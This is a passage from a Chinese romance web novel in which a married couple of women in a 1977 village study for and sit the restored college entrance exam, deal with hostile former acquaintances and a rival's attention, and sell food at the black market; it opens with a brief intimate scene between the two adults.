玉白的手搭在女人的脊骨之上,手背微微紧绷,透出淡青色的血管,手指灵活地挑开了遮挡的衣摆,往里钻。 指腹带着点润,季白青促狭地看了温淼一眼,吻落在她眼角的泪痣上。 手腕用劲,指尖落下。 温淼微微张唇,嘤咛声要溢出来,却又被季白青用吻封住。 凳子没有沙发宽,叠坐的姿势才勉强可以装下两个人。 温淼的身体和季白青的紧紧贴合在一起,几乎没有什么能够挣扎推拒的余地。 只有搭在季白青后背上的手背紧绷,能看出几分主人内心的情绪。 不知过了多久,女人的脸颊泛着艳丽的桃红,纤长卷翘的睫毛湿哒哒的,原本绷直的雪白长腿也无力耸了下来。 状态乱七八糟。 但反观季白青,其实也没好到哪去。 原本露出来的修长颈脖上是被温淼气急之后吮吸啃咬出来的吻痕,颊边也带了个浅浅的牙印。 将累得昏昏欲睡的人收拾好后,季白青摸着脸颊,对着镜子照看一番,啧了一声。 看来今晚无论何香月怎么说,她们都不能再过去吃饭了。 这样的形象过去,有伤风化。 回到床边看了眼沉沉睡着的温淼,季白青帮她擦了些药,看到糜艳的红也有些心虚。 不过大部分原因还是因为温淼咬她咬得太疼了,所以她才多用了点力。 人之常情……不能怪她吧? 季白青给自己心理安慰一番后便去对着温淼的错题继续给她把错题和解题方法整理出来。 游戏好玩,下次老婆愿意配合的话,还玩。 不过季白青的目的才不是要玩弄老婆,不过是给她补习罢了。 这样做题印象才更深刻嘛- 知青点。 在听到了高考恢复的消息后,沈念念第一时间便是狂喜。 毕竟终于有机会离开这个鸟不拉屎的地方了,自从陆延坐牢之后,她再也没有找到合适的能够将她带回城里的人了,每天只能下地干活,风吹日晒,每天都累死累活,皮肤都晒得黑了一些,没有以前柔嫩。 就连原本的黑市,因为没了陆延的照顾,她也去得少了,赚的钱都快不够花了。 原本都打算另外谋出路,想方设法找到回到城里的方法,现在却有个法子突然被送到了她的面前。 不过……她咬着唇,有些后悔。 早知道这段时间空闲下来后她不该每天都荒度时光的,应该多看看书,不然的话现在肯定会有更多的把握。 她很久没有学过书上的知识了,不知道还能够记住多少。 正在想着以后该怎么办呢,新来的女知青方宁拍了拍她的肩膀问道:“念念,我和红霞打算现在去镇上买书复习,你要不要一起去?” 听到了潘红霞的名字后,沈念念的表情僵直一瞬。 上一次两个人打架后,她们原本表面和谐的关系就再也维持不下去了,相看两相厌。 而方宁不知道她们之间的恩怨,因为潘红霞的性格温和,便和她走得近一些,以至于沈念念像是被两人孤立。 但一起行动时,方宁还是会询问一番沈念念的意见。 沈念念远远地看了一眼正在门口等着的潘红霞,似乎已经从她的脸上看到了得意之色。 她不想让潘红霞得逞,便一口应下。 “好啊,我们一起去。” 跟着方宁一起走到了门口的时候,潘红霞见着她果然脸色难看了一些,往一边偏过脸去,不看沈念念。 见她这样,沈念念反而觉得心里爽快了一些,只要潘红霞不高兴,她就高兴。 三个人一起坐着牛车到了镇上的书店,进去绕了一圈,也没找到自己想要的教材和资料。 沈念念去一问才知道,早在高考恢复的第一时间,书店里的教材和教辅就被抢光了。 现在属于是供不应求的状态。 三人闻言,都有些懊恼。 来晚了!什么都没买到! 潘红霞默不作声看了眼沈念念,心里暗道了一声晦气。 沈念念也毫不犹豫地瞪了回去。 方宁站在中间,倒是没有注意到两人之间的眉眼官司。 她摸着下巴想了想,提议道:“不如我们去回收站看看能不能淘到资料?” 这倒是不失为一个办法,其她两个人都同意了。 到了回收站,见到了赵婉后,方宁简单将三个人过来的目的到处,赵婉指了指另一边成山高的废纸道:“书全在那,你们自己找吧。” 闻言,三人道谢,一起在废纸山里开始找了起来。 将所有的成册的书都翻看了一遍,最后只有沈念念翻出来一本资料。 看着上面标的一年级,三个人都有些沉默。 沈念念一脸不耐烦地将一年级的书丢了回去,三个人什么都没拿,打着空手回去。 路上,方宁问:“现在该怎么办?你们还有办法让家里人买了教材寄回来吗?” 她咬着唇有些窘迫:“我家里对我不太重视,也不想我上大学,所以应该不会给我寄的。” 潘红霞闷闷地摇了摇头。 沈念念见着她们的模样,心里生出来一丝优越感。 她矜持道:“我娘和爹还挺宠我的,我给她们寄一封信看看。” 沈念念直接去邮局写了一封信寄回去,等着她们到时候给自己回信。 沈念念原本以为她寄出去的信没多久就能收到回复,可都小半个月过去了,她区邮局一问,却还是没有收到从家里寄回来的信件。 潘红霞正在院子里晾衣服,此时见着她垂头丧气地回来后,嘲讽道:“你娘和爹不是很宠你吗?怎么还没给你寄教材。” 沈念念闻言瞬间支起脑袋瞪着她:“关你什么事?管好你自己!” 不说沈念念了,几个男知青也没办法弄到书。 晚上,吃着碗里味道寡淡的饭,方海洋抓了把头发。 “现在到哪都弄不到书,该怎么办?” 另外两个男知青张二柱和李三铁都沉默地摇了摇头。 女知青也没招。 方海洋看了眼她们,道:“潘红霞,你和温淼的关系不是挺好的吗?你去问她和季白青借书。” 听见了季白青的名字,潘红霞的手微微收紧。 她呼吸下意识放缓了几分,最后摇了摇头。 她低声道:“我们不熟。” 沈念念冷笑一声:“不熟的话她为什么还借给你粮食?当时我看就你们之间的关系最好。” “现在我们都要复习高考,没有资料,一个都别想考上,你们就一辈子待在这鸟不拉屎的地方吧!” 闻言,其她四个知青的眼神纷纷看向潘红霞。 潘红霞掐着手心,最后还是点头了。 “我去试试,不一定会成功。” 她也有些私心,想要看看现在季白青过得怎么样……有没有后悔。 吃了饭后,方宁陪着潘红霞一起去季白青和温淼家找人。 方宁来云水村半年,也都没怎么见过两人,只知道她们是同性情侣,还都很漂亮。 她挽着潘红霞的手,见她似乎有些紧张,奇怪道:“你在担心她们不肯借给我们吗?” 潘红霞依着她找的原因点了点头。 不过没到她们家,只是到了晒谷场,方宁指着两个女人的背影道:“这应该是温淼和季白青吧?” 潘红霞猛地抬头,看到两个女人并肩在前面散步,姿态亲昵,十指相扣。 光是看都能看出来两人之间的甜蜜。 方宁感叹道:“她们感情可真好。” 潘红霞脸上的笑慢慢放下来。 没有意识到潘红霞的不对劲,方宁拉着她走到两个女人身边,叫住了她们。 “是温淼和季白青吗?”她开口道。 季白青和温淼闻言停了下来,看向方宁。 季白青的眼神落在潘红霞的身上的时候微微皱了皱眉,拉着温淼下意识往后退一步。 不管是什么事,先远离为好。 她声音冷淡地问:“嗯,有什么事吗?” 方宁对她笑了笑:“我们知道你们有高考的复习资料,看过的资料可以借给我们抄一份吗?很快就能换给你们的。” 潘红霞在一边点头,有些紧张地等着季白青的回答。 闻言,季白青没有丝毫犹豫。 “不借。” 方宁脸上的笑淡了些,有些不解。 “为、为什么?” 季白青轻轻一笑,“你可以问问你身边那位。” 说完之后,她将温淼拉近,搭着她的肩膀半搂着人回去了,无论身后的人说了什么都没再回头。 季白青就是如此记仇,得罪过她和温淼的人,还想要借她的东西? 想屁吃去吧。 方宁站在原地,看向潘红霞有些茫然道:“为什么?” 潘红霞摇了摇头,一言不发地往回赶。 回到了家,温淼和季白青继续查漏补缺做了会儿题。 将今天晚上的任务完成后,陪着温淼练习了一会儿英语,季白青问: “我不把资料借给她们,你会觉得我很坏吗?” 温淼一愣,认真地看着她摇了摇头。 “不会,你是有原因的。” 如果是没有对她们落井下石过的人,哪怕只是单纯选择远离的村民家的孩子来借资料,她都会愿意借出去。 不借给知青点的那些人自然也是情有可原,更何况温淼也不喜欢沈念念,对潘红霞的感情也所剩无几。 季白青亲在她的眼角,低声道:“那就好。” 她做出的决定从来都不会后悔,唯一担心的便是温淼对她的看法会因此发生改变。 怕她讨厌自己。 好在,温淼对她的看法一直不会被这些事情改变。 她最支持她了。 两轮复习结束之后,季白青和温淼将大概的知识和题型都掌握得差不多了,最后一轮复习过去后,再有一天就到高考了。 十二月,潇南省寒风凌冽,却阻挡不住高考正在如火如荼地进行。 在二十一世纪的时候,季白青曾经因为高考失眠过。 因为对自己的未来所存的信心并不多,高考是她唯一的出路,她担心会发挥失常。 可是现在面临所经历过的第二次高考,她却少了许多紧张和焦虑。 晚上窝在温淼怀中,嗅着属于爱人身上特有的体香,她只觉得安稳。 高考前夕,两人抱在一起睡了个安稳觉。 到了第二日一早,何香月就过来给两人做饭。 煮了一碗面条,上面窝着两个荷包蛋。 热腾腾的面条进到肚子里,整个人的身体都暖和起来。 温向荣、温如嫣、何香月和季伟将两个准高考生送到了考点学校,广播响起后,学校大门被打开,她们目送她们走进学校。 季白青和温淼不在一个考室,分开前,温淼笑着对她道:“高考加油。” “高考加油。” 【作者有话说】 今天作者好像没话说,其实每次码字的时候准备了一堆的话想要说,但是最后真要打出来的时候又忘记了,可能是老年痴呆了 感谢投雷和营养液,感谢评论订阅收藏[三花猫头] 114 第114章 ◎考上了◎ 互相鼓励过后,两人便分开去了自己的考场。 坐在考场里,听着广播正在宣读考试注意事项,季白青感觉有些恍如隔世。 随着开考铃响起,试卷被监考老师发下,教室里安安静静,屋子里响起的只有笔尖落在纸上写字的沙沙声。 季白青将名字和信息填写好之后,把拿到的试卷大概看了一遍。 第一场考语文,看完考试题型和作文题目之后,她心里大概有了底。 前段时间温淼给她好好补了补语文,对每个题型的套路,季白青都记了个大概。 前面的题基本都是靠背诵、记忆,她记性好,所以对她来说没什么难度,飞快填完答案后翻到试卷背面。 不过是十几分钟的时间,大多数人第一页还没有写完,就听见考场里就出现了第一道试卷翻页声。 同一个考场的其她考生听见声音之后,下意识侧目往季白青那看了一眼,见她真写到了背面后,动作也不自觉地加快,心里冒出来几分着急,有些人紧张得甚至在大冬天坐在冰冷的教室里都能够冒出一额头的汗。 季白青专注地答题,丝毫没有意识到自己对其她考生造成的心理压力和影响。 将前面的题写完,作文的内容也构思出个大概,季白青挥笔,在试卷上落下一篇洋洋洒洒的文章。 等到八百多字写完之后,她将试卷从头到尾检查一遍,将一眼错误的内容给修改一遍之后喝了口水,再次慢吞吞地检查了一遍,一直熬到考完。 考完之后,她最先出考场,大步走到温淼考试的教学楼下等着她。 在温淼出了楼梯间之后,第一眼就见着了她,季白青走过去牵住她的手。 楼道到开阔的地方都十分热闹,挤挤攘攘的都是人,周围的人纷纷在激动地在讨论题目、对答案,考得好的人眉飞色舞,填错了答案的人则是一脸沮丧。 她们对自己和对方都足够自信,也提前约定好考完后就把上一场抛在脑后,此时没有聊一句关于考试的内容。 “饿了。”温淼揉了揉肚子。 季白青牵着她的手,和她一起往校门口走。 “快出去,娘她们肯定已经做好饭了。” 何香月昨天就和她们说好了,考试这两天的中午她在家做好饭后用饭盒带过来,找个地方在镇上吃,以免骑车回村里赶不上下午的考试。 出去之后,一眼就看见了挤在最前面的何香月和温向荣,她们一人手里拿着一个饭盒,温向荣手里还多提着一个水壶。 季白青和温淼走过去,聚集在一起之后,她们四个人退出人群,在学校周围四处转了转,却都没找到有空下来的地方。 几个人对视一眼,季白青无奈道:“这下好了,好像没有空的位置。” 何香月咬着牙,又四处看了看,想要再找找看,实在不行就走远点。 一扭头,她微微有些惊喜,对着走过来的梅叙和梅大娘招了招手。 梅叙她们快速走到几人面前,她开口道:“已经考完了,现在去我家吃个饭吧。” 知道温淼和季白青今天高考,梅叙特意在上午加快速度将所有的公务处理完,现在才恰好赶上她们出考场。 何香月本就愁找不到地方吃饭,听了这话后眼睛顿时亮了起来:“叙叙,姐刚好也做了饭,这不是现在还没地方吃饭,正好去你家,让你也尝尝我的手艺。” 梅叙欣然答应。 恰好考场这处离梅叙家也不远,也就走上十分钟左右的距离。 到了梅叙家,看着一桌子菜,温向荣和何香月将手上的饭盒打开,几个人说说笑笑地吃了中午饭。 梅叙将客房收拾出来,饭后让季白青和温淼妻妻二人去客房休息。 她柔声道:“下午是有考试,但是要先休息好才对,先午睡一会儿,醒来再把下午要考的没记住的内容巩固一遍。” 梅叙怕两人会太过紧张。 闻言,季白青和温淼点了点头,她们也是这么想的,毕竟该学的东西都已经在这一年里学完了,该记住的也全都记住了,现在再急也急不过来的。 两人在客房睡了二十几分钟的午觉,养足了精神后又复习了十几分钟,这才在众人的护送之下再度回到考点。 下午的综合科目考完后,梅叙提议让她们这几天就在她这住下算了。 反正屋里有空的房间,就连何香月和温向荣的房间都还能额外收拾出来。 放在平常,何香月肯定不会麻烦别人这么多。 可是这几天是高考,一切都以季白青和温淼为重。 见两个人都没有任何不情愿的意思,何香月爽快点头,拉着温向荣,几人这两天就在梅叙这住下了。 这两天的考试一下过去,到了十二月十二号,季白青已经考完了,温淼还有一科外语考试。 温淼想要报考英语专业,需要参加额外的测试。 上午的考试结束后,温淼随着人群涌出校门。 一眼就见到了早早守在门外的季白青,青年的手里还捧着一束被包装得精美的腊梅,在看到了她之后,立马走上前,将手中的花塞进她的怀里。 青年声音清润,对她说:“老婆,辛苦了。” 她的声音不大不小,明显能够听出来的女声落在别人耳中,引得了周围的不少人侧目。 见还真是两个女人,众人眸中都多了几分诧异。 罕见的一对妻妻。 也有不少人眼里带了几分羡慕,毕竟都是刚考完试,这么多人里,也就温淼一个收到了花。 只是考个试都能够被这么正式对待,她们之间的感情可真好。 抱着花,鼻尖是腊梅清雅的香气,温淼浅笑,此时也不顾还有人看着,轻轻握住了她的手。 季白青也抓住她右手手腕揉了揉,无名指上戴着的戒指抵在女人的手腕上,盈盈泛着碎光,象征着两人之间的身份。 她问:“饿了没?” 温淼点了点头:“有点。” 季白青带她走到校门口的树下,等她在后座上坐稳之后开口解释道:“梅姨和奶奶她们一大早就去国营饭店等着了,订了一桌子的菜等着我们过去吃呢,庆祝我们高考结束。” 难怪说现在只见到了季白青一个人,温淼将花小心翼翼地护在怀里,以免被寒风吹散,一只手攥住青年的外套,“知道啦。” 自行车往国营饭店的方向走,没花多长时间,很快就到了目的地。 下车的时候将车锁好,温淼下意识去牵季白青的手,这才发现女人原本玉白修长的手被冻得发红,骨节处都泛着红意,触手冰凉。 她拧着眉,看向季白青,目含责怪。 “怎么没戴手套?” 季白青经常在冷天开车,她给对方买过很多手套,每次都盯着她戴上的。 平时都老老实实的,结果就今天没看着,又不戴了。 口罩也没戴,鼻尖冻得通红,唇色浅淡。 季白青摸了摸自己的鼻尖,有几分心虚。 “我忘记了。” 确实是忘记了,也不是临时找的什么借口。 温淼瞪她,一言不发将她的手抓着揣进自己温热的口袋里,见她另一只手还傻愣在那,凶她: “另一只手还不放进口袋里!” 季白青为了不挨老婆骂,乖乖听话照做。 今天国营饭店人满为患,大部分人都怀着和她们一样的心思。 如果不是梅叙她们提前过来,恐怕还需要排很久的位置。 两人一进去,就看到了正在窗边坐着的梅叙等人。 走过去刚坐下,梅叙就将桌上放着的两个红色小盒子推给温淼和季白青,柔声道:“这是庆祝你们高考结束的小礼物,回去可以拆开看看喜不喜欢。” 温淼轻点头,对她弯唇道谢:“谢谢梅姨。” 季白青见状也收了起来,在熟悉的人面前她一向嘴甜,说了几句好听的话逗得梅叙面上的笑都没有停下来。 人到齐之后,点的菜陆续上齐了。 刚出锅的菜,热气腾腾的,色香味俱全。 季白青给何香月她们盛了汤,又给温淼夹了些菜,这才埋头专注吃自己的。 一顿饭过去,身上的寒意早就散得差不多了。 何香月和温向荣吃完后将剩下的菜打包好就赶着牛车的时间先回去了,留下梅叙和妻妻俩在。 注意到梅叙欲言又止的眼神,季白青开口询问道:“梅姨,你是有什么想要和我们说的吗?” 梅叙轻点头,将心里话道出。 “高考已经结束了,过程比结果更重要,无论最后的结果怎么样,都不要太过纠结,当然,我相信你们一定都能够考好。” “我过段时间会去出差,出去挺长一段时间,你们的报考、收通知书的时候我都不在,如果有问题的话,可以多问问嫣嫣和温姨,她们的经验都比你们要多。” 梅叙也不知道自己有没有资格说这些话,这便是她方才纠结的原因。 被她用温和的眼神看着,季白青和温淼点头。 温淼回答:“梅姨,你放心吧,我们心里都有把握。” 梅叙点了点头,三个人说完话后没再多聊,出了国营饭店。 坐上了自行车,看着还站在原地注视着她们的梅叙,季白青和温淼对她摆了摆手。 “梅姨,再见!” 梅叙唇角弯起,轻声回道:“淼淼、白青,再见。” 回去的路上,温淼颇有些不是滋味。 她问:“我们以后还能再见着梅姨吗?” 大多数大学都在三月份开学,但是过年这段时间梅叙都需要出差,那代表着她们不能再见面了。 季白青和温淼早就商量好了一起去京市上学,如果真的去了京市的话,离潇南这么远,更是很久都见不了面了。 闻言,季白青开口,胃里瞬间被灌进了寒风,她哆嗦一下,咳了两声后开口道: “寒假暑假还可以回来,还会再见面的。” 温淼意识到她正在骑车,让她好好骑车,没再说话。 刚骑到村口,她们恰好遇上了沈念念那群知青,大概是刚从镇上回来,手上提着东西,但是脸上却都没有什么笑。 季白青骑车的速度慢了下来,看着沈念念沮丧的脸色想起来原世界线中她窃取温淼的成果的行为后冷笑了一声,颇有些阴恻恻的。 她倒是要看看,没有了温淼,以沈念念自己的成绩能够考上哪个学校。 她慢悠悠地问:“沈念念,好巧啊,怎么看起来好像不太开心?是知道自己上不了大学了吧。” 沈念念被点名,听着她的话扭过头去看着她,脸色不悦。 季白青没收着,丝毫不在意她投来的怨毒眼神,继续道:“哎呀,没事的,就算是考不上大学留在村里也挺好的啊,最起码每天还能*够吃饱饭,又饿不死。” 她知道让沈念念在村里待着比让她死了都还难受,毫不犹豫地让说出来的句句话都直往她的心窝子戳。 见沈念念越来越黑的脸,她的长腿撑着地面停了下来,笑语晏晏:“啊呀,留在村里确实挺好的啊,就是怎么感觉沈知青你变丑了这么多?” 季白青在此之前从不对别人的外貌发表任何意见,也不会通过外貌去评判别人,但她知道沈念念人面兽心,又对容貌方面最为在意,说这样的话最能让她破防。 果然,听到季白青的话后,沈念念捂着脸尖叫一声。 “你、你才变丑了!” 温淼拧眉,毫不留情开口:“阿青比你好看多了。” 说完之后,她拍了拍季白青的后腰,“回去吧,和她没什么好多说的。” 闻言,季白青没再理她们,瞪着自行车一下飞出去几米远,只留下原地的几个知青手足无措地看着崩溃的沈念念。 “那个念念……你不丑啊。” “呃……虽然季白青是比你好看点,但是那都是因为她太白了。”方宁绞尽脑汁安慰。 潘红霞抱胸看着沈念念,只是冷声道:“丑人多作怪。” 沈念念瞬间怒道:“你比我更丑,你说什么说!” 潘红霞攥拳,故作冷淡道:“我又不在乎。”- 在回到家之后,温淼让季白青灌了两杯温水,又找了手套和口罩放在了自行车筐里,以免下次她又忘记。 自从高考的消息宣布之后,知青们上工都没了心思,想要参加高考的村民也都少干不少活,人太多以至于李向东都没办法针对性处理。 好在十月份之后地里也没有多少活要干,家里女儿也需要高考复习,他只好睁一只眼闭一只眼,由着她们去了。 好不容易等到了高考结束,他才终于有时间将今年的粮食和工分整理出来,再分到每家每户。 今年的收成比去年还要好一些,季家分到的粮食多了,猪肉也多了不少,还有一段时间才过年,想到拿到录取通知书后就要去京市,京市的花销大,季白青打算再去黑市多卖点东西攒钱。 大半年没有去过黑市,等到她再去到黑市的时候才发现,原来也有不少人学着她的样子在卖麻辣烫。 她将摊子摆好之后,也去别人的摊上买了尝了几口。 味道不差,但她还是自信地觉得没有她做的好吃。 她一向的装扮都很清爽,一回到黑市后很快被人认了出来。 不少熟客见她来了,都给面子地买了东西。 这段时间镇上的管理情况与以前相比有所放松,黑市也涌入了一大批新的人做买卖。 季白青卖的麻辣烫和火锅口味好,很多人都喜欢,即使麻辣烫的市场饱和,还是能够在十一点左右卖完收摊。 就算卖不完也没关系,她并不在黑市多呆,剩下的串可以拿回去吃。 温淼在一月初上完课后就放假了,不出意外的话,以后应该都不会继续回学校上课了,这情况提前和校长说过。 空闲时间多了下来之后,温淼在家也没事,不需要再复习,便跟着季白青一起去黑市卖东西。 接近年关,黑市也更加安全,相关管理人员对此基本上都会睁一只眼闭一只眼,季白青带着温淼去也不用太过担心。 两人一起干活,繁重的活被分开,不算累。 也就每天备菜串菜的时候会费点劲。 到了小年,季白青将这段时间赚的钱数了数。 一共三四百多,加上以前攒的快有七八千了。 她一股脑都交给温淼,笑着开口:“喏,工资全都上交给老婆。现在有的是钱,我们不用省着花嗷。” 温淼白了她一眼:“我刚下乡那年你敢说这种话吗?” 季白青:“……” 她确实不敢。 毕竟那时候她以为自己真是累到猝死,便一心想着要摆烂,每天摸鱼,口袋比脸都要干净,顶多也就摸出个块儿八毛钱。 也就见着温淼之后,心里存着想要把人养好的心思这才开始发愤图强。 她嘿嘿一笑:“以前的事就不要再提了,现在有钱!” 说得跟个暴发户一样。 就是人看着白白净净,没什么暴发户的气质。 温淼敲她脑袋:“那也是辛苦赚来的钱,哪能乱花。” 她原本对钱是没什么概念,可和季白青都在一起这么多年,哪里还能够不知道赚钱是多么不容易。 这两年季白青每天起早贪黑,冒着被抓的风险去黑市,赚来的钱除了花在母父身上,其它的基本全落在了温淼的身上。 季白青自己反而不怎么花钱,热衷于把老婆打扮得漂漂亮亮的,自己却十分朴素。 别看她衣柜里的衣服多,但几乎全都是温淼给她置办的。 知道老婆是心疼自己,季白青笑得弯起眼来。 她握住了温淼的手,轻声给出承诺道:“以后会赚更多钱的。” “让你想买什么都可以。” 温淼摇了摇头,语气认真:“可是我没有什么要买的。” 在她心里,只要东西够用就好,她也不需要多么好多么贵重。 更何况,现在的时代本来就需要朴素。 她不想要因为自己,让季白青过得太累了。 季白青嗔她一眼,摆着手指头开始数:“可以买大钻戒、房子、包包、首饰……” 数都数不完,哪有不买的道理。 温淼掐她腰间的软肉,“你又在说什么胡话。” 季白青说的那些东西有多少是现在能够买的或者现在能够买得起的? 青年抱住女人的手臂,凑上前去亲她的脸颊。 “哎呀,以后会发展起来的,我也会努力赚钱,让我们和母父、奶奶姑姑她们过得更好。” 将人往自己怀里搂,季白青忽然想起来。 “我们结婚还没有去度蜜月呢,到时候有机会我们再一起去。” 听到这,温淼的眼睛微微发亮。 “我想去看海。” 从小在京市长大,小时候也就跟着温泠月在内陆地区跑过,之后去哪都需要开介绍信。 她还从来没去看过海。 季白青点头,揉她细软的发丝:“以后有机会就带你去。” 开放之后,出行的机会比现在要多得多,不止在国内,只要足够有钱,去国外也行。 想到这,季白青想要好好赚钱的决心越发坚定。 想要带温淼去各种她想要去的地方,不能因为钱而束手束脚。 温淼亲亲她的唇角,声音甜软。 “好,以后肯定能够慢慢实现的!” 她对此并不着急,但是又对季白青有着足够的信心。 在温淼的心里,季白青就是最厉害的。 两人抱在一起腻歪了没多久,就被叫去吃晚饭。 没多久就新年了,除夕夜,季白青又美美收到了老婆给的压岁钱。 这是两人一起过的第三个年。 季白青满足得不像话。 除夕过完没多久,还在正月里,高考试卷的答案传出来了,根据温知意她们寄来的答案对照一看,温淼和季白青按照最低来估了一个分。 看着估出来的分数,温淼的分数不算英语也比季白青要高出来十几分。 季白青看着近乎满分的分数,在温淼的脸上亲了一口。 双眸明亮地夸她:“老婆,好厉害……” 温淼的脸颊粉意蔓延开,眨了眨眼这才解释:“是因为文科比较简单一些。” 季白青理所当然道:“可是文科简单能考接近满分也很厉害呀,而且你这还是估的分数。” 真实的分数大概是比这还要高的。 有这么个聪明的老婆,季白青只觉得有荣与焉。 怎么这么厉害呢。 她将人抱在怀里,又啵啵亲上了几口。 “我们就只报京市的学校好不好?”季白青问。 她不想因为两个人没有同时上第一志愿就异地,如果异地的话,季白青这种程度的恋爱脑可能会直接选择不上了,或者是先在温淼所在的城市再备考一年。 不过不出意外的话,这样的行为肯定会被温淼骂。 所以季白青还是觉得事先和温淼商量好为好。 温淼闻言,轻轻点头。 “好。”她也想要和季白青在一个城市上学的。 听到了温淼的回应后,季白青才微微安心下来。 没多久,每个镇上都开始填报高考志愿。 到了溪宁镇填报高考志愿的日子里,季白青和温淼一起去了镇上。 两人的分数估算出来其实还挺高的,不出意料,是肯定能够考上自己心仪的大学。 她们对照着高考取消前的分数线比照过,对于想要上的学校,心里有了大概的把握后,没再多犹豫,直接将志愿填上了。 填完后,将填好的表交上去。 季白青多看了眼站在收志愿的老师身边的两个人,她们是先前季白青见过的梅叙身边跟着的秘书。 这大概是梅叙派过来的。 一时不察同小张对上了视线,季白青见他对自己露出的笑容微微皱起眉,立马挪开了视线。 就这么短时间的眼神交流,还是被温淼发现了。 她抿着唇,一言不发地看了眼小张,微微往后挪了一步,将自己和季白青十指相扣的双手露出来让他看到。 见温淼停了下来,季白青转过头去有些疑惑地看着她,轻声问道:“淼淼,怎么了?” 温淼抿唇摇头,见小张的眼神黯淡下来还是觉得有些不爽。 她老婆被别人觊觎了,明明两人都已经结婚了,他还看什么看! 不知道季白青是有妻之妇吗? 她默默跟上季白青,两人在屋外等了等,等到所有的志愿填报都交上去后,收志愿的老师出来,小张她们也随后出来。 小张跟在那老师身后,女秘书小李见到季白青她们还在门口等着,落后一步,停下来和她们说话。 “季同志、温同志。” 季白青和温淼也和她打了声招呼。 季白青笑着问:“是梅县长让你们过来的吗?” 小李点了点头。 “对,县长说了志愿填报的每个环节都需要监督好,不能出差错,也要避免考生的志愿被篡改,所以每一步都需要监督好。” 季白青了然点头,“真是辛苦了。” 三人简单说了几句话后,就让小李先去忙工作了。 填完志愿后,季白青带着温淼一起去国营饭店打包了饭菜回去,打算今天不动手做饭了。 将另一份送到季家,她们回去吃饭。 只是回来后,温淼显得比平时要沉默一些。 意识到不对劲之后,季白青将碗筷清洗干净,将坐在沙发上的人搂在怀里,轻声问道:“是怎么了?好老婆怎么又不高兴了?” 又?注意到这个词,温淼的心情又低落几分。 她哪有每天都不高兴? 将人推开了一些,她往与季白青相反的方向挪了挪,不说话。 季白青还不知道是自己随意一个词就又让温淼难过了,再次主动贴过去,将人紧紧搂住,亲人的鼻尖、唇角、下巴。 她柔柔道:“有什么不高兴和我说说好不好?” 温淼用劲却还是没能将人推开,最后也没再坚持,只是淡淡开口道:“没事,一会儿就好了。” 季白青心里暗自着急,她说都说出来这话了,这能一会儿就好那就奇怪了。 她看着温淼,眼睛一眨,黑亮的眼眸蒙上了几分雾气,声音里也带了几分哽咽。 “……之前不是说好心里有什么想法都要说出来的吗?怎么又变成这样了?” 温淼才转过头去,一滴晶莹的泪就从季白青的眼中掉落下来。 见状,温淼顿时慌了几分。 她拿出手帕给季白青擦拭眼角的泪,“我……我……” 还没说出来什么所以然,温淼的话就被季白青打断。 青年眼角泛红,盯着她的模样有些楚楚。 “你是不是又想分手?” 听了这话,温淼反驳:“没有!” 她才没有想要分手,都是季白青在乱想。 “那你为什么不高兴,怎么不告诉我?” 温淼此时也顾不得什么了,将自己的心里话同她道出。 “我只是有一点点不高兴而已,自己就能好。” 季白青红着眼瞪她:“可我要哄你,不想你不高兴。” “为什么?说原因。” 温淼将她眼角最后一滴泪按干净,此时心里什么情绪都散得一干二净。 她只好开口道:“和你说可以,但是你不许哭了。” 季白青一哭,她就觉得慌乱,不知道该怎么哄。 “成交。”季白青点头,眼泪收得很快。 看着她突变的脸色,温淼忽然有些怀疑自己被骗了。 但是一看过去,青年的眼角还是淡粉色,眼睛是被水洗过的亮。 温淼只能收回自己的疑惑,将原本心里的想法娓娓道出。 “我看到你和小张对视了,我知道他还喜欢你,所以有点不高兴。” “但只有一点。” 她不是无理取闹的人,自然也知道季白青肯定不是故意要去看小张的,一切都不过是巧合而已。 但是一想到还有这样一个人在喜欢着自己的妻子,温淼心里还是会泛酸。 将青年抱住,女人的声音发闷,一字一句都敲在季白青的心间。 “我不喜欢他这样,但也知道不是你的问题,所以我想要自己消化一下。” 如果什么都发脾气要季白青哄的话,那样会很累的。 季白青闻言,也将人抱紧了一下,微微叹出一口气。 她声音温和,带了几分笑意。 “难怪我刚才怎么闻到好大一股酸味,原来是家里的醋包发力了。” 温淼不说话,在她肩膀上锤了两拳。 季白青没在意,鼻尖耸动,嗅她发丝清香。 她再度开口道:“可是你要想想我,我都是心甘情愿想要哄你的,哄你又不累,我不想看蓁蓁不高兴。” 以前她不觉得别人的情绪和自己有什么关系,在她的思想中,成年人必须有自己自己将情绪处理好的能力,拿她自己来说,无论情绪如何,都会在最短的时间内将私人情绪处理好。 可是在遇上了温淼后,原本的想法被彻底推翻,看着温淼委屈难过吃醋,有任何不高兴的表情或征兆,她的第一想法就是要哄人。 把人哄高兴,不想看她闷闷不乐,想让她能够肆意展露笑颜。 一切都是她自愿的。 她自己遇上了什么委屈也会下意识地投进温淼的怀里,想要求得她的安慰。 温淼的声音顿了顿,“可……” 她一时间有些不知道该怎么开口。 想了好一会儿,女人才小心翼翼地抬眼,看着季白青问:“可你不会累吗?” 季白青直起腰,看着女人的眼眸。 今天的天气微沉,窗帘被拉上,屋子里暖黄色的灯被拉开。 黄绒绒的光洒在从发顶往下落,温淼的发顶被晕染成浅黄,睫毛也泛着金光,眼睛一眨,眼眸睁开,显露出眼底的那一片澄澈。 二十多岁的女人在自己面前说话的时候总是带了几分天真。 她把持不住,亲在女人的眼尾。 声音落下,又软又轻。 “不会累,看你难过才会累,会跟你一起难过。” “所以,下次无论如何,都应该告诉我原因才对。” 季白青鼓了鼓腮帮子,声音惆怅:“毕竟我也不是什么时候都能够及时发现你的心思的,万一把我这么大个老婆气坏了,那可怎么办?” 温淼:“……才不会。” 她的声音弱了几分,立马又接话道:“以后不这样了。” 季白青点头,装作自己已经相信了。 不过她对温淼了解得确实够清楚,这人间歇性的喜欢钻牛角尖。 这样的事一定还会再发生,不然季白青都要怀疑她是不是被人附身了。 但季白青不介意这样的话多说几次。 老婆敏感,那她也敏感一些,随时能够察觉对方心里的情绪好了。 她扣住温淼的手,将说过的话再次说了一遍。 “我不喜欢那个人,只喜欢温淼,最喜欢温淼了。” 温淼靠在她胸前,毛茸茸的头蹭了蹭她的胸口,像是撒娇。 她绵绵道:“知道了啦。” 话刚说完,不等季白青再多说点什么,就听见屋子里突然响起一声猫叫。 不知道从哪玩回来的温棉棉飞快冲进了屋子里,见两个家长叠坐在一起,瞬间一个加速,跳到了温淼的腿上。 这只橘猫虽然是个妹妹,但却一点也没有违背体内的橘猫基因,不知节制,现在已经十一二斤,重得软乎乎的原始袋都往下掉。 温淼被她突然起跳压得闷哼一声,没好气地揉了揉猫头。 “坏猫。” 